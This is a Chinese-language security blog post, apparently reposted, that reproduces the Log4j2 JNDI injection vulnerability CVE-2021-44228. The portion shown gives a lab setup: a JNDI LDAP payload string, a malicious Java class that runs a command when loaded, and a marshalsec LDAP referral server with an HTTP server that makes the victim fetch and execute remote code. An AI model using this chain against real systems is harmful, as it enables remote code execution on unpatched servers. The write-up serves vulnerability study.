代码审计 | Log4j2 —— CVE-2021-44228 JNDI 注入与递归解析的完整链路分析
代码审计 | Log4j2 —— CVE-2021-44228 JNDI 注入与递归解析的完整链路分析目录环境搭建漏洞复现编写测试代码构造恶意 class 文件启动 LDAP 转发器请求流程使用 JNDI 工具一键利用代码审计payload 入口追踪MessagePatternConverter:关键转折点substitute:变量解析核心resolveVariable:触发入口Interpolator:协议分发触发条件与常见入口WAF 绕过原理常见绕过 payload补丁分析总结环境搭建JDK:jdk8u65Log4j2:2.14.1pom.xml依赖:dependencies dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version2.14.1/version /dependency dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-api/artifactId version2.14.1/version /dependency /dependencies添加好依赖之后效果如下:然后通过 Maven 下载源码,方便后面调试:漏洞复现编写测试代码import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4jTest { private static final Logger logger = LogManager.getLogger(Log4jTest.class); public static void main(String[] args) { // 高版本 JDK(如 8u121+)默认禁止远程对象加载,调试时需手动开启 // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); // 模拟用户输入的恶意字符串 String payload = "${jndi:ldap://127.0.0.1:1389/Exploit}"; // 触发漏洞 logger.error("用户输入数据: {}", payload); } }构造恶意 class 文件Exploit.java:import java.io.IOException; public class Exploit { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } }执行javac Exploit.java编译成 class 文件,然后在 class 文件所在目录启动一个简单的 HTTP 服务:python -m http.server 5566启动 LDAP 转发器java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://172.16.250.1:5566/#Exploit" 1389参数说明:-cp:指定类路径(classpath)marshalsec.jndi.LDAPRefServer:启动LDAP 转发器(还有marshalsec.jndi.RMIRefServer可以启动RMI 转发器)"http://172.16.250.1:5566/#Exploit":远程恶意类的下载地址(带引用锚点)#Exploit:#后的部分在 LDAP 协议中会被解析为引用的classFactory名称,受害者最终会请求/Exploit.class文件,不用#不能正常启动(规范写法)1389:LDAP 服务监听的本地端口
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2497860.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!